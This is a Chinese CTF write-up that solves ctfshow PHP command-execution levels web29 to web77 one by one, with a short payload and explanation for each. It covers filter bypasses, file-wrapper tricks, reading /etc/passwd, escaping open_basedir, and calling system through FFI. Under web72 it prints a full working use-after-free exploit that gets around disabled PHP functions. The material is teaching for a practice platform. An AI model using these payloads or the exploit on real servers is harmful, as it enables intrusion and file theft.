web29

过滤了flag,两种做法:

?c=system('cat fla?.php');

?c=system('cp fla?.php 1.txt');

问号可以作为占位符替代单个任意字符绕过过滤(和正则表达式不完全一样哦)。

system(‘’);可以执行系统命令,是eval的好伙伴,记得句尾加分号。

web30

在29的基础上过滤了system和php

引入知识是反引号`可以代替system函数,只不过它没有回显。(exec和反引号一个效果)

1
?c=`cp fla?.?hp 1.txt`;

这是在能往里写新文件的情况,如果不能写的话也可以输出反引号执行的结果的:

1
?c=echo `tac fla?.?hp`;

使用echo函数就可以啦。

web31

在30的基础上过滤了cat sort shell . 空格和单引号

过滤了太多东西,尝试参数逃逸

?c=eval($_GET[A]);&A=system('cat flag.php');

也可以不参数逃逸,继续老思路:

1
?c=echo%09`tac%09fla???hp`;

%09是制表符,用来代替空格。

web32

在31的基础上过滤了反引号、echo、分号和左括号

逃避分号过滤可以加php闭合标签?>(php最后一句话可以不加分号),但是还过滤了左括号,可以使用文件包含来过滤

测试能否读?c=include%0a$_GET[A]?>&A=/etc/passwd

成功后构造payload:

?c=include%0a$_GET[A]?>&A=php://filter/convert.base64-encode/resource=flag.php

在这里使用了文件包含,推荐阅读这篇文章的总结:好康的

这里的伪协议是用来对文件进行base64编码并且读取的

(注意命令闭合以及%20并不能绕过空格过滤)

web33

在32的基础上过滤了双引号,32的思路仍然可用

尝试文件包含的另一个函数

测试能否读?c=require%0a$_GET[1]?>&1=/etc/passwd

?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

require和include功能相同,只是它的错误处理会直接生成致命错误并且停止脚本,incldue只生成警告

web34

在33的基础上过滤了冒号,32和33的思路仍然可用

web35

在34的基础上过滤了左尖括号和等于号,32、33和34的思路依然可用

web36

在35的基础上过滤了数字,32、33、34和35的思路依然可用

web37

从这里开始题目就从eval变成include了

过滤了flag

使用data伪协议试一下

?c=data://text/plain,<?php phpinfo()?>

可以执行哦!

?c=data://text/plain,<?php system('cat fla?.php');?>

data伪协议可以传递数据,不过也可以用来执行邪恶的php代码

web38

在37的基础上过滤了php和file

?c=data://text/plain,<?=system('cat fla?.ph?');?>

这个标签等价于上面的哦,一种小技巧

web39

过滤了flag,但是加了后缀.php

测试一下?c=data://text/plain,<?php phpinfo()?>

发现成功执行,只是.php被加在了末尾,做法同上。

web40

?c=eval(array_pop(next(get_defined_vars())));

post需要传入1=system('cat flag.php');

这里是什么意思呢,我们从里往外看

get_defined_vars是返回当前环境下所有已定义的变量,环境变量、服务器变量和用户的都有(get、post都是)。

next是将内部指针指向数组中的下一个元素,并输出。(这里就指向了post的内容)

array_pop是删除数组中最后一个元素并返回值。

web41

上来就过滤了大小写字母和数字,以及异或符号^,但是保留了或|,可以用或构造出数字和字母来执行命令,推荐观看b站的ctfshow官方视频。

web42

system($c." >/dev/null 2>&1");

首先,shell中存在三个文件描述符123,分别代表标准输入、标准输出和错误输出,这里的2>&1代表将错误输出定位到标准输出。

然后,>/dev/null代表将标准输出扔进黑洞去(好像是linux的一个彩蛋,消息扔进null)

所以这句话就代表我们所有正常执行的命令都没有回显。

payload如下

1
?c=ls;ls

这样代码就变成了system(ls;ls." >/dev/null 2>&1");分号前的命令就可以正常执行啦!

(准备在shell中尝试ls;看看结果)

(分号代表分割符,先执行第一个然后立即执行第二个)

web43

和42大体相同,但是分号被过滤了!

1&&2在shell中代表先执行1命令,1成功后执行2,也可以当作分割符。

1
?c=tac flag.php%26%26ls //&进行url编码

web44

多过滤了flag,老生常谈的通配符

?c=tac fla?.php%26%26ls

web45

多过滤了空格,可以使用水平制表符,tab是%09,充当分割符

1
?c=tac%09fla?.php%26%26ls

据尝试回车和换行都没用哦

web46

上一个payload还可以用的

遇到的问题是没有对&&进行url编码,其实是因为这个符号可以当get传参的分割符,所以是需要编码的。

web47

同45

nl用来给文件标记行号并显示

head默认显示文件头十行

sort默认按字母顺序排序文件的行并且输出

more和less也用来查看内容

web48

同45

tail是head的逆

sed是流式文本处理工具,也可以查看文件 sed “” example

cut命令是从文本中提取指定字段的,也可以查看文件

awk也是文本处理工具,查看文件用 awk “{print}” test

strings是用来从二进制文件中提取可打印的字符的,也可以查看文件

od是用不同进制显示文件内容的工具 od -c example

web49

同45

web50

?c=nl<fla''g.php%7C%7Cls

shell特性,会忽略这两个单引号和里面的内容

||代表或,第一条命令执行成功后第二条不执行

web51

同50

web52

?c=nl${IFS}/fla?%7C%7Cls

${IFS}是Linux环境变量,表示字段分割符的,充当空格或制表符的作用在这里。

web53

同52

system函数返回值是执行结果最后一行

web54

mv${IFS}fla?.php${IFS}z.txt

改名后直接访问

web55

丧心病狂,把字母都ban了,两种做法。

  1. ?c=/???/????64 ????.???

    实际上是/bin/base64 flag.php

  2. 无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

    很神奇喵

    最大的教训是Linux执行命令是这样的

    . example#需要有空格

web56

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

类似于补码的原理,0和-1相对,1和-2相对,那么36就和-37相对

$(())表示0

$((~$(())))表示-1

所以先找出-37,然后取反拿值,得到36

web57

system和``都被ban了,没法执行命令,尝试文件包含。

c=highlight_file('flag.php');

web58

同57

web59

同57

web60

同57

show_source和highlight_file一样的

web61

同57

web62

同57

web63

同57

web64

同57

web65

同57

web66

不在flag.php,那就扫一下目录

c=print_r(scandir('/'));

发现存在flag.txt

c=highlight_file('/flag.txt');

web67

print_r被ban了,但是flag位置没变

web68

搞笑的是index.php里面应该有highlight_file,结果出题把highlight_file给ban了,进去就是一个报错。

既然highlight_file和show_source被ban了,那就试试include吧

c=include('/flag.txt');

web69

c=var_export(scandir('/'));

var_export是用来返回变量类型和内容的。

新姿势,其余同68。

web70

同68。

web71

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

ob_get_contents()是得到输出缓冲的内容。

ob_end_clean()是清除输出缓冲的内容并且关闭输出缓冲。

c=include('/flag.txt');exit(0);

web72

用glob伪协议绕open_basedir

1
2
3
4
5
6
7
8
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
#记得url编码

flag0.txt

没有权限访问,用脚本绕

<?php function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag0.txt");ob_end_flush(); ?>

web73

根目录下直接include

web74

scandir被ban了,用glob

然后include

web75 76

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0); ?>

try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

web77

先用glob扫目录

然后ffi拷文件

1
2
3
c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';
$ffi->system($a);//通过$ffi去调用system函数